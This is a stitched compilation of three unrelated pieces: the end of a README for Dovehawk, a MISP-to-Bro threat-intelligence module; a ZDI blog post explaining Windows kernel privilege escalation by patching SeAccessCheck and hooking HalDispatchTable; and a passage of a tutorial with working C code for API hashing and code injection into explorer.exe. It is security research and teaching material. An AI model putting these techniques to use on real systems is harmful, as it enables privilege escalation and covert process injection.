broctl and a restart cron described in included file INSTALL.md

Optional Slack.com web hook reporting.

## Screencaps

### Dovehawk Downloads Indicators From MISP

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f646f76656861776b5f6c61756e63682e706e67.png'
width='898' height='633' alt='Dovehawk signature download' />

### Dovehawk Sighting Uploaded

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f646f76656861776b5f6869742e706e67.png'
width='898' height='98' alt='Dovehawk hit and sighting upload' />

### MISP Sighting

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f6d6973705f7369676874696e67732e706e67.png'
width='898' height='47' alt='MISP sightings' />

### Slack Web Hook

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f736c61636b5f6869742e706e67.png'
width='898' height='256' alt='Slack Web Hook' />

### Intel Item Expiration

<img
src='img/68747470733a2f2f646f76656861776b2e696f2f696d616765732f6578706972652e706e67.png'
width='622' height='350' alt='Items expiring' />

## Sample Content Signature

[code]

    signature eicar_test_content {
      ip-proto == tcp
      payload /.*X5O\!P%@AP\[4\\PZX54\(P\^\)7CC\)7\}\$EICAR\-STANDARD\-ANTIVIRUS\-TEST\-FILE\!\$H\+H\*/
      event "MISP: eicar test file in TCP plain text"
    }
[/code]

_Note: Bro's default setting is to buffer thefirst 1024 bytes of a TCP
connection so signature's should be written with that in mind._

## Indicator Expiration

Indicators are downloaded automatically every 6 hours and are assigned an
expiry of 6.5 hours. A check for expired indicators occurs every 4 hours to
cleanup any expired indicators between downloads. As indicators are reingested
the expiration time is reset to 6.5 hours. A message is now printed for each
expired indicator.

If an indicator is hit after expiration but before the cleanup, it will
trigger a hit/sighting, but the indicator is then deleted immediately so no
further hits will occur.

Intervals are set in dovehawk.bro.

### Setting for expired indicator cleanup \(should be less then
signature\_refresh\_period\)

[code]

    redef Intel::item_expiration = 4 hr
[/code]

### Setting for MISP download interval

[code]

    global signature_refresh_period = 6hr &redef;
[/code]

### Setting for indicator expiration: \(should be slightly more than
signature\_refresh\_period\)

[code]

    $expire = 6.5 hr,
[/code]

## Official Source

https://dovehawk.io/

https://github.com/tylabs/dovehawk/

## Related Projects

http://www.misp-project.org/ MISP

https://www.bro.org/ Bro IDS

# Special Thanks

CanCyber.org for their support in releasing a generic MISP version of their
Bro Module as open source.

Developers: Michael Kortekaas @mrkortek \(original module\), Tyler McLellan
@tylabs \(MISP combined import and sightings\)

The entire MISP team and Alexandre Dulaunoy @adulau for adding the bro
datatype to MISP.

# License

Copyright © 2018 Cancyber Inc., Michael Kortekaas @mrkortek, Tyler McLellan
@tylabs

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files \(the "Software"\), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

  

# Verifying Windows Kernel Vulnerabilities - HP Enterprise Business Community

**Created:**| _11/1/2013 8:34:41 AM_  
---|---  
**Updated:**| _11/1/2013 8:34:41 AM_  
**Author:**| __  
**Tags:**| _windows kernel bughunting_  
  

# Verifying Windows Kernel Vulnerabilities****

Outside of the Pwn2Own competitions, HP’s Zero Day Initiative \(ZDI\) does not
require that researchers provide us with exploits**.** ZDI analysts evaluate
each submitted case, and as part of that analysis we may choose to take the
vulnerability to a full exploit**.**

For kernel level vulnerabilities \(either in the OS itself, or in device
drivers\), one of the vulnerabilities that we find is often termed a ‘write-
what-where’\[1\]**.** For ease of analysis it was worth writing a basic
framework to wrap any given ‘write-what-where’ vulnerability and demonstrate
an exploit against the operating system**.**

There are three basic steps to taking our arbitrary write and turning it into
an exploit, and we’ll explore each of them in turn**.**

**The Payload: Disabling Windows Access Checks**

At the heart of the Windows access control system is the function nt**\!**
SeAccessCheck**.** This determines whether or not we have the right to access
any object \(file, process, etc\) in the OS**.**

The technique we’re going to use was first described by Greg Hoglund in
1999\[2\], and a variant of this technique was used by John Heasman in
2006\[3\]; it is the latter that we’ll use as our jumping off point**.**

**<img src='img/Temp2_8855.png' alt='KernelExploitation_Image0.png' />**

The key here is the highlighted field**.** If the security check is being done
on behalf of a user process, then the OS checks for the correct
privileges**.** However, if the security check is being done on behalf of the
kernel, then it always succeeds**.** Our goal, then, is to dynamically patch
the Windows kernel such that it always considers the AccessMode setting to
indicate that the call is on behalf of the kernel**.**

On Windows XP, this is a fairly straightforward task**.** If we examine the
kernel in IDA \(in this case, we’re looking at ntkrnlpa.exe\), we find the
following code early in the implementation of SeAccessCheck:

PAGE:005107BC xor ebx, ebx

PAGE:005107BE cmp \[ebp+AccessMode\], bl

PAGE:005107C1 jnz short loc\_5107EC

Since KernelMode is defined as 0 in wdm**.** h, all we have to do to succeed
in all cases is to NOP out the conditional jump after the compare**.** At that
point, all access checks succeed**.**

On later versions of the OS, things are slightly more complicated**.** The
function nt**\!** SeAccessCheck calls nt\!SeAccessCheckWithHint, and it is the
latter that we’ll need to patch**.** We’ll see why this makes things more
complicated when we look at how to gather the information needed to execute
the attack**.** If we look at Windows 8.1, we can see that instead of dropping
through to the KernelMode functionality, we branch to it:

.text:00494613 loc\_494613:

.text:00494613 cmp \[ebp+AccessMode\], al

.text:00494616 jz loc\_494B28

All we need to do is replace the conditional branch with an unconditional
branch, and we again make every call to SeAccessCheck appear to come from the
kernel**.**

Now that we have a target, we still have one more, slight problem to
overcome**.** The memory addresses we need to overwrite are in read-only
pages**.** We could change the settings on those pages, but there is an easier
solution**.** On the x86 and x64 processors, there is a flag in Control
Register 0 which determines whether or not supervisor mode code \(i**.** e.
Ring 0 code, which is to say, our exploit\) pays attention to the read-only
status of memory**.** To quote Barnaby Jack\[4\]:

**“Disable the WP bit in CR0**.** **

**Perform code and memory overwrites**.** **

**Re-enable WP bit**.** ”**

At this point, the actual core of our exploit looks like this:

<img src='img/Temp2_8858.png' alt='KernelExploitation_Image1.png' />

There is one additional complication to our manipulation of the WP bit**.** We
need to set the processor affinity for our exploit, to make sure that we stay
on the core with the processor settings we chose**.** While this is likely
unnecessary for our manipulation of the WP bit, it is more of an issue in more
complicated exploits that require us to disable SMEP \(more on that
later\)**.** Either way, it doesn’t hurt, and all we have to do is a make
simple call:

SetProcessAffinityMask\(GetCurrentProcess\(\), \(DWORD\_PTR\) 1\);

Now, one thing you’ll note in the exploit code is that we don’t actually know
what the patch is, or where it is going**.** The exploit just takes
information that was already provided, and applies it**.** We’ll actually
determine that information as part of the exploit research**.**

**The Attack: Passing control to the exploit**

We have code ready to run in ring 0**.** We need two things to make it work,
the information it requires about the OS configuration, and a means to
transfer control to our code while the processor is in supervisor mode**.**

Since the primitive that we have to work with is a ‘write-what-where’, we are
going to use that to overwrite a function in the HalDispatchTable**.** This
technique, described by Ruben Santamarta in 2007\[5\], will allow us to divert
execution flow to our exploit code**.**

The function we’re going to hook is hal**\!** HaliQuerySystemInformation. This
is a function that is called by an undocumented Windows function
NtQueryIntervalProfile \[5\]\[6\], and the invoking function is not commonly
used**.** To understand why this is crucial, we need to briefly talk about the
layout of memory in Windows**.**

Windows divides memory into two ranges; kernel memory is located above
MmUserProbeAddress, and user memory is located below it**.** Memory in the
kernel is common to all processes \(although generally inaccessible to the
process code itself\), while memory in userland is different for each process
loaded**.** Since our exploit code is going to be in user memory, but we are
hooking a kernel function pointer, if any other process calls
NtQueryIntervalProfile it will almost certainly crash the operating
system**.** Because of this, the first step in our exploit is to restore the
original function pointer:

<img src='img/Temp2_8861.png' alt='KernelExploitation_Image2.png' />

As with our earlier example, you can see that we’re relying on external
information as to where the function pointer entry is, and what the original
value should be**.**

At this point, our actual exploit trigger looks like this:

<img src='img/Temp2_8854.png' alt='KernelExploitation_Image3.png' />

For flexibility, our prototype for WriteWhatWhere\(\) also includes the
original value for the address, if known**.** Finding the addresses we need
for both the exploit and the exploit hook is the final step**.**

**The Research: Determining the OS Configuration**

In this case, we’re assuming that we are looking for a local elevation-of-
privilege**.** We have the ability to run arbitrary code on the system as some
user, and our goal is to turn that into a complete system compromise**.**
Determining the OS Configuration is much more difficult in the case of a
remote attack against a kernel vulnerability**.**

We’ve determined that we need to know the following pieces of information:

  * The address of nt**\!** HalDispatchTable
  * The address of hal\!HaliQuerySystemInformation
  * The address of the code in nt**\!** SeAccessCheck or related helper function we need to patch
  * The value to patch

Additionally, we can also look up the original value, which would let us have
a different exploit that restored the original functionality**.** After all,
once we’ve done what we need to do, why leave the door open**?**

What we’ll need to know are the base addresses of two kernel modules, the
hardware abstraction layer \(HAL\) and the NT kernel itself**.** In order to
get those, we’ll need to again use an undocumented function – in this case we
need NtQuerySystemInformation\[6\]\[7\]**.** Since we know that we’re going to
need two NT functions, we’ll go ahead and create the prototypes and simply
load them directly from the NT DLL:

<img src='img/Temp2_8856.png' alt='KernelExploitation_Image4.png' />

The next step is to determine which versions of these modules are in use, and
where they are actually located in memory**.** We do this by using
NtQuerySystemInformation to pull in the set of loaded modules, and then
searching for the possible names for the modules we need:

<img src='img/Temp2_8863.png' alt='KernelExploitation_Image5.png' />

Our next step is, in almost every case other than this, a bad idea\[8\]**.**
We’re going to use a highly deprecated feature of LoadLibraryEx and load
duplicate copies of the two modules we found:

<img src='img/Temp2_8862.png' alt='KernelExploitation_Image6.png' />

With this flag set, we won’t load any referenced modules, we won’t execute any
code, but we will be able to use GetProcAddress\(\) to search the modules**.**
This is exactly what we want, because we’re going to be using these loaded
modules as our source to search for what we need in the actual running kernel
code**.**

At this point, we have almost everything we’re going to need to find the
offsets we require**.** We have both the base address of our copies of the
kernel modules and the actual base addresses on the system, so we can convert
a relative address \(RVA\) from our copy into an actual system address**.**
And we have read-access to copies of the code, so we can scan the code to look
for identifiers for the functions we need**.** The only thing left is actually
a stock Windows call, and we’ll use GetVersionEx\(\) to determine what version
of Windows is running**.**

Some things are easy, because the addresses are exported:

<img src='img/Temp2_8860.png' alt='KernelExploitation_Image7.png' />

But for most of what we need, we’re actually going to have to search**.** We
have two functions to search for, one of which \(hal**\!**
HaliQuerySystemInformation\) does not have an exported symbol, and the other
is either nt**\!** SeAccessCheck or a function directly called by it**.**

We’ll look at the last case, because that lets us look at how we handle both
exported functions and those that are purely private**.** First, a look at
nt**\!** SeAccessCheck:

<img src='img/Temp2_8864.png' alt='KernelExploitation_Image8.png' />

And then a look at the portion of nt**\!** SeAccessCheckWithHint that we’re
going to patch:

<img src='img/Temp2_8859.png' alt='KernelExploitation_Image9.png' />

Now, in practice, these two functions are adjacent to each other, but we’re
going to go ahead and use the public function to track down the reference to
the internal function, and then scan the internal function for our patch
location**.** The code to do that looks like this:

<img src='img/Temp2_8853.png' alt='KernelExploitation_ImageA.png' />

The function PatternScan is simply a helper routine that given a pointer, a
scan size, a scan pattern, and a scan pattern size, finds the start of the
pattern \(or NULL if no pattern could be found\)**.**

In the code above, we search first for the relative jump to nt**\!**
SeAccessCheckWithHint, and extract the offset. We use that to calculate the
actual start of the nt**\!** SeAccessCheckWithHint in our copy of the module,
and then we scan for the identifying pattern of the conditional branch we need
to replace**.** Once we find the location, we can determine the actual address
by converting it first to an RVA and then rebasing it off of the actual loaded
kernel image**.** Finally, the replacement value is OS version dependent as
well; in this case the replacement for the JZ \(0x0f 0x84\) is a NOP \(0x90\)
and JMP \(0xe9\)**.**

By gathering the information we need from the copied version of the system
modules, we’re able to have the same framework target multiple versions of the
Windows Operating System**.** By searching for patterns within the target
functions, we are more resistant to changes in the OS that aren’t directly in
the functions we’re looking for**.**

**Some final complications**

Everything we’ve done so far will work, up until we get to Windows 8, or more
specifically, the NT 6**.** 2 kernel. For convenience, we have the actual code
of the exploit running in user memory**.**

With the Ivy-Bridge architecture, Intel introduced a feature called Supervisor
Mode Execute Protection \(SMEP\) \[9\]**.** If SMEP is enabled, the processor
faults if we attempt to execute instructions from user-mode addresses while
the processor is in supervisor-mode**.** The moment control passes from our
hooked function pointer in the kernel to our code, we get an exception**.**
Windows supports SMEP as of Windows 8/Server 2012, and the feature is enabled
on processors that support it by default**.** To get around this, we either
need to move our exploit into executable kernel memory \(something that is
also made more difficult in the NT 6**.** 2 kernel\)\[10\] or disable SMEP
separately\[11\]\[12\]**.**

The final problem for us was introduced in Windows 8**.** 1**.** In order to
get Windows 8.1 to tell us the real version of the Operating System, we need
to take additional steps**.** According to MSDN\[13\]:

<img src='img/Temp2_8857.png' alt='KernelExploitation_ImageB.png' />

With the manifest included, we’re able to correctly detect Windows 8**.** 1,
and adjust our search parameters appropriately when determining offsets**.**

**Conclusion**

There is of course, one piece missing**.** While a framework to prove
exploitation is useful, we still need to have an arbitrary ‘write-what-where’
for this to work**.**

We use this framework internally to validate these flaws, so if you happen to
find a new one, you can always submit it to us \(with or without an exploit
payload\) at http://www.zerodayinitiative.com/ **.** We’d love to hear from
you.

**Endnotes**

\[1\] The earliest formal reference I can find to this terminology is in
Gerardo Richarte’s paper “About Exploits Writing” \(G-CON 1, 2002\)  where he
divides the primitive into a “write-anything-somewhere” and “write-anything-
anywhere”**.** In this case, our “write-what-where” is a “write-anything-
anywhere”**.**

\[2\] Greg Hoglund, “A \*REAL\* NT Rootkit, patching the NT Kernel” \(Phrack
55, 1999\)

\[3\] John Heasman, “Implementing and Detecting an ACPI BIOS Rootkit” \(Black
Hat Europe, 2006\)

\[4\] Barnaby Jack, “Remote Windows Kernel Exploitation – Step In To the Ring
0” \(Black Hat USA, 2005\)  \[White Paper\]

\[5\] Ruben Santamarta, “Exploiting Common Flaws in Drivers” \(2007\)

\[6\] Although it does not cover newer versions of the Windows OS, _Windows
NT/2000 Native API Reference_ \(Gary Nebbett, 2000\) is still an excellent
reference for internal Windows API functions and structures**.**

\[7\] Alex Ionescu, “I Got 99 Problems But a Kernel Pointer Ain’t One”
\(RECon, 2013\)

\[8\] Raymond Chen, “LoadLibraryEx\(DONT\_RESOLVE\_DLL\_REFERENCES\) is
fundamentally flawed” \(The Old New Thing\)

\[9\] Varghese George, Tom Piazza, and Hong Jiang, “Intel Next Generation
Microarchitecture Codename Ivy Bridge” \(IDF, 2011\)

\[10\] Ken Johnson and Matt Miller, “Exploit Mitigation Improvements in
Windows 8” \(Black Hat USA, 2012\)

\[11\] Artem Shishkin, “Intel SMEP overview and partial bypass on Windows 8”
\(Positive Research Center\)

\[12\] Artem Shisken and Ilya Smit, “Bypassing Intel SMEP on Windows 8 x64
using Return-oriented Programming” \(Positive Research Center\)

\[13\] MSDN, “Operating system version changes in Windows 8**.** 1 and Windows
Server 2012 R2”

**Additional Reading**

Enrico Perla and Massimiliano Oldani, _A Guide to Kernel Exploitation:
Attacking the Core_ , \(Syngress, 2010\)

bugcheck and skape, “Kernel-mode Payloads on Windows” , \(Uninformed Volume 3,
2006\)

skape and Skywing, “A Catalog of Windows Local Kernel-mode Backdoor
Techniques” , \(Uninformed Volume 8, 2007\)

mxatone, “Analyzing local privilege escalations in win32k” , \(Uninformed
Volume 10, 2008\)

Labels: security

****

# Writing Shellcode with a C Compiler | Nick Harbour's Code and Reverse Engineering Articles
**Created:**| _7/1/2010 8:07:57 PM_  
---|---  
**Updated:**| _7/4/2010 8:02:32 AM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

# Writing Shellcode with a C Compiler

Posted on July 1, 2010 by nickharbour

## Background

There comes a time when some programmers need to write a block of code that
can operate in a position independent fashion and be written somewhere
\(across the network, to another process etc.\) as a single buffer of data. 
This type of code has been dubbed shellcode by its birth from software
exploitation in which hackers need a small chunk of code which can get a
shell.  Through one nefarious trick or another the idea is to simply get this
chunk of code to execute and do its magic.  The code has to stand on its own
and its author doesn’t have the luxury of being able to use modern software
development practices to develop this shellcode.

Assembler is most commonly used to generate shellcode.  When size is
absolutely critical, this is a good choice.  For me personally, I have a need
in many of my projects to write blocks of code which do shellcode-like things
that I need to inject into other process.  In these cases, I don’t really care
about size.  Efficiency in development and debug-ability are more important to
me for this task.   In the beginning I would write stand-alone assembler
\(with NASM\) and take the resultant output file and convert it into a C array
and incorporate it into my program.  This is the approach taken by most
exploit payloads you’ll see on sites such as milw0rm.  Eventually I became
sick of this and started using inline assembly for most tasks, even though I
really missed the full feature set of the NASM assembler.  With some
experimentation I’ve come up with a pretty workable system for writing this
style of shellcode using almost entirely C \(only need 2 instructions of
inline assembler\).   The advantages are huge in terms of development speed
and there is really no contest when it comes to debugging your shellcode.  I’m
no slouch when it comes to wielding a machine level debugger like ollydbg but
it still pales in comparison to debugging at the c source code level with the
visual studio debugger.

## Getting Started

Some special care has to be taken with visual studio to ensure that it will
generate output code in the specific format we need to be used as shellcode. 
Here is a list, which may change in the future depending on what they change
in the compiler:

  1. Use Release mode only.  Debug mode \(on recent compilers at least\) will output functions in reverse order as well as insert lots of position dependant calls.
  2. Disable Optimization. The compiler will optimize away functions it thinks aren’t being used, which we absolutely need.
  3. Disable stack buffer checks \(the /Gs flag\).  The stack cookie checker function called at the beginning and end of a function is at a position dependant static location in the binary, thus rendering any function outputted to be not re-locatable and useless for shellcode.

## Your First Shellcode

[code]

    #include <stdio.h>
    
    void shell_code()
    {
        for (;;)
            ;
    }
    
    void __declspec(naked) END_SHELLCODE(void) {}
    
    int main(int argc, char *argv[])
    {
        int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;
    
        // Show some info about our shellcode buffer
        printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);
    
        // Now we can test out the shellcode by calling it from C!
        shell_code();
    
        return 0;
    }
    
    
[/code]

So the shellcode in this particular example is nothing more than an infinite
loop but the important thing to note is the stub function END\_SHELLCODE which
is placed after the shell\_code function. With this in place after the
shell\_code function we are able to determine the length of the shellcode by
simply measuring the distance between the start of the shell\_code function
and the start of the END\_SHELLCODE function. The beauty of C here is that we
can access the program itself as a buffer, so if we needed write the shellcode
to a file we could make a simple call such as`fwrite(shell_code,
sizeofshellcode, 1, filehandle);`

From within the visual studio environment we can also conveniently debug the
shellcode too by simply calling the shell\_code function and using the normal
IDE debugging features.

In this small first example we only use one function for our shellcode but it
is possible to use many functions. All your functions though must be
contiguous and exist somewhere between the shell\_code function \(beginning\)
and the END\_SHELLCODE function marker. The reason this works is that when
function calls happen to internal functions the target of the call is always
relative. Basically the call instruction says “Call a function X number of
bytes from here” so if we copy both the code that makes the call and the code
its calling to some other location \(like another process\) and keep the
distance between the call and the callee the same everything should link up
just fine.

## Using Data in your Shellcode

In traditional C source code if you need to use a piece of data such as an
ASCII string you can simply do it inline without having to worry about where
the data is, such as this:`WinExec("evil.exe");` In this example the string
“evil.exe” is actually in a static place within the C program \(probably in
the .rdata section of the compiled binary\) and if we were to copy this code
out and try to inject it into another process it would fail because the string
probably won’t exist in the other process at exactly this location.
Traditional assembler shellcode makes easy use of data by using the call
instruction to get a pointer to the code itself which may have data
intermingled. Here is that WinExec call but implemented in a shellcode manner
with assembler:

[code]

    call end_of_string
    db 'evil.exe',0
    end_of_string:
    call WinExec
    
[/code]

In this fragment the first call instruction hops over the string “evil.exe”
and also places at the top of the stack a pointer to the string, which is then
used as the argument to the WinExec function. This novel approach to using
data is very space efficient but there is no direct equivalent we can do in C.
I recommend using stack buffers for any strings you need to use if you want to
write your shellcode in C. To make a string that is dynamically built on the
stack \(and thus easily relocatable\) on modern Microsoft compilers you must
do the following:

[code]

    char mystring[] = {'e','v','i','l','.','e','x','e',0};
    winexec(mystring);
    
[/code]

Notice that I hade to declare my string as an explicit array of bytes. This is
a recent change, in older Microsoft compilers if I said `char mystring[] =
"evil.exe";` it would produce code that builds the string dynamically with a
series of mov instructions whereas now it will produce code that simply copies
the string from a fixed location in memory to the stack, which doesn’t work if
we need relocatable code. Try both approaches for yourself and look at the
disassembly they produce \(download the IDA Pro freeware edition if you don’t
have the real thing\). Your disassembly for this initialization should look
something like this before any cleanup:

[code]

    mov [ebp+mystring], 65h
    mov [ebp+mystring+1], 76h
    mov [ebp+mystring+2], 69h
    mov [ebp+mystring+3], 6Ch
    mov [ebp+mystring+4], 2Eh
    mov [ebp+mystring+5], 65h
    mov [ebp+mystring+6], 78h
    mov [ebp+mystring+7], 65h
    mov [ebp+mystring+8], 0
    
[/code]

  
Strings are really the only headache when it comes to data. Everything else
you might want to do works exactly like you’d expect and you have access to
the full set of capabilities offered by C; structs, enums, typedefs, function
pointers. Just keep all your data as local variables and you’ll be fine.

## Using Library Functions \(a.k.a. doing anything useful on a system\)

I’m keeping this article focused on shellcode in a Windows environment. The
principles above can be used on Unix systems as well. Windows shellcode is a
bit trickier though in that we don’t have a consistent and widely published
way to perform system calls with just a few lines of assembly code like we can
in Unix \(with a quick call to int 80h\). To use system calls to do things
such as read and write files and communicate across the network we need to use
the Windows API functions which are provided by a set of DLLs. These DLLs
eventually perform the necessary system calls \(through sysenter not an
interrupt\) and the particulars of how it does so change with nearly every
windows release. Shellcoding best practices and tomes such as the shellcoder’s
handbook describe a method for looking up DLLs in memory and finding functions
as needed. Two functions are required to be implemented in your shellcode if
you want it to be portable accross windows versions: 1. A function to find
Kernel32.dll, 2. An implementation of GetProcAddress\(\) or a function to find
the location of GetProcAddress\(\). The implementation I will provide for both
of these uses hashing instead of string comparison so I will take a brief
segue to explain and provide implementations of hashing for your shellcode.

## Hashing Functions

The use of hashing for function lookups is very common for shellcode. The
popular ROR13 hash technique is the most common and its implementation is used
in the shellcoder’s handbook. The idea is that if we are looking for a
function named “MyFunction” then instead of keeping that string in memory and
doing a string comparison with every function name we come accross we can just
produce a small \(32-bit\) hash value and just hash each function name and
compare the hashes. This does not save processor time but may save some space
in the shellcode and has definite anti-reverse engineering benefits. I provide
both an ASCII and Unicode ROR13 hash functions below.

[code]

    DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
    {
        DWORD hash = 0;
    
        while (*unicode_string != 0)
        {
            DWORD val = (DWORD)*unicode_string++;
            hash = (hash >> 13) | (hash << 19); // ROR 13
            hash += val;
        }
        return hash;
    }
    
    DWORD __stdcall ror13_hash(const char *string)
    {
        DWORD hash = 0;
    
        while (*string) {
            DWORD val = (DWORD) *string++;
            hash = (hash >> 13)|(hash << 19);  // ROR 13
            hash += val;
        }
        return hash;
    }
    
    
[/code]

## Finding DLLs \(such as Kernel32\)

There are three lists available of the DLLs currently loaded in memory:
InMemoryOrderModuleList, InInitializationOrderModuleList and
InLoadOrderModuleList. These lists are available in the Process Environment
Block \(PEB\). It doesn’t really matter which list you use in your shellcode,
in the code I provide I will use InMemoryOrderModuleList. To access the PEB we
must use two lines of inline assembler.

[code]

    PPEB __declspec(naked) get_peb(void)
    {
        __asm {
            mov eax, fs:[0x30]
            ret
        }
    }
    
    
[/code]

Now that we have access to the PEB from within our shellcode we can lookup
DLLs in memory. The only DLL thats ALWAYS in memory in a windows process is
ntdll.dll but kernel32.dll is much more convienient and still availibile in
99.99% of windows processes \(must be Win32 subsystem\). The implementation I
provide below will look through the module list and find a module named
kernel32.dll by using the unicode ROR13 hash we talked about earlier.

[code]

    HMODULE __stdcall find_kernel32(void)
    {
        return find_module_by_hash(0x8FECD63F);
    }
    
    HMODULE __stdcall find_module_by_hash(DWORD hash)
    {
        PPEB peb;
        LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
    
        peb = get_peb();
    
        module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
        first_mod = module_ptr;
    
        do {
            if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
                return (HMODULE)module_ptr->Reserved2[0];
            else
                module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
        } while (module_ptr && module_ptr != first_mod);   // because the list wraps,
    
        return INVALID_HANDLE_VALUE;
    }
    
    
[/code]

The find\_module\_by\_hash function provided above will let you find any
loaded DLL in memory given a hash value for the dll name. If you need to load
a new DLL though that might not be in memory you’ll need to use the
LoadLibrary function from within Kernel32.dll. To find the LoadLibrary
function we need an implementation of GetProcAddress. The implementation below
looks up a function from within a loaded DLL based on a hash of the function
name.

[code]

    FARPROC __stdcall find_function(HMODULE module, DWORD hash)
    {
        IMAGE_DOS_HEADER *dos_header;
        IMAGE_NT_HEADERS *nt_headers;
        IMAGE_EXPORT_DIRECTORY *export_dir;
        DWORD *names, *funcs;
        WORD *nameords;
        int i;
    
        dos_header = (IMAGE_DOS_HEADER *)module;
        nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
        export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        names = (DWORD *)((char *)module + export_dir->AddressOfNames);
        funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
        nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
    
        for (i = 0; i < export_dir->NumberOfNames; i++)
        {
            char *string = (char *)module + names[i];
            if (hash == ror13_hash(string))
            {
                WORD nameord = nameords[i];
                DWORD funcrva = funcs[nameord];
                return (FARPROC)((char *)module + funcrva);
            }
        }
    
        return NULL;
    }
    
    
[/code]

Now we can lookup functions like this:  

[code]

    HMODULE kern32 = find_kernel32();
    FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E);   // the hash of LoadLibraryA
    
[/code]

## The Finished Product

I now present the sum of all this knowledge in a C program that, when
executed, creates a file containing shellcode named “shellcode.bin”. The
shellcode has the ability to process inject a thread into the explorer.exe
process which does nothing but an infinite loop. Note that this will consume
all available CPU cycles when launched.

[code]

    #include <stdio.h>
    #include <Windows.h>
    #include <winternl.h>
    #include <wchar.h>
    #include <tlhelp32.h>
    
    PPEB get_peb(void);
    DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
    DWORD __stdcall ror13_hash(const char *string);
    HMODULE __stdcall find_module_by_hash(DWORD hash);
    HMODULE __stdcall find_kernel32(void);
    FARPROC __stdcall find_function(HMODULE module, DWORD hash);
    HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
    VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
    BOOL __stdcall strmatch(const char *a, const char *b);
    
    void __stdcall shell_code()
    {
        HMODULE kern32;
        DWORD *dwptr;
        HANDLE hProcess;
        char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
        char code[] = {0xEB, 0xFE};
    
        kern32 = find_kernel32();
        hProcess = find_process(kern32, (char *)procname);
        inject_code(kern32, hProcess, code, sizeof code);
    }
    
    HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
    {
        FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
        FARPROC process32first = find_function(kern32, 0x3249BAA7);
        FARPROC process32next = find_function(kern32, 0x4776654A);
        FARPROC openprocess = find_function(kern32, 0xEFE297C0);
        FARPROC createprocess = find_function(kern32, 0x16B3FE72);
        HANDLE hSnapshot;
        PROCESSENTRY32 pe32;
    
        hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE)
            return INVALID_HANDLE_VALUE;
    
        pe32.dwSize = sizeof( PROCESSENTRY32 );
    
        if (!process32first(hSnapshot, &pe32))
            return INVALID_HANDLE_VALUE;
    
        do
        {
            if (strmatch(pe32.szExeFile, procname))
            {
                return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
            }
        } while (process32next(hSnapshot, &pe32));
    
        return INVALID_HANDLE_VALUE;
    }
    
    BOOL __stdcall strmatch(const char *a, const char *b)
    {
        while (*a != '' && *b != '')
        {
            char aA_delta = 'a' - 'A';
            char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
            char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;
    
            if (a_conv != b_conv)
                return FALSE;
            a++;
            b++;
        }
    
        if (*b == '' && *a == '')
            return TRUE;
        else
            return FALSE;
    }
    
    VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
    {
        FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
        FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
        FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
        LPVOID remote_buffer;
        DWORD dwNumBytesWritten;
    
        remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (remote_buffer == NULL)
            return;
    
        if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
            return;
    
        createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
    }
    
    HMODULE __stdcall find_kernel32(void)
    {
        return find_module_by_hash(0x8FECD63F);
    }
    
    HMODULE __stdcall find_module_by_hash(DWORD hash)
    {
        PPEB peb;
        LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
    
        peb = get_peb();
    
        module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
        first_mod = module_ptr;
    
        do {
            if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
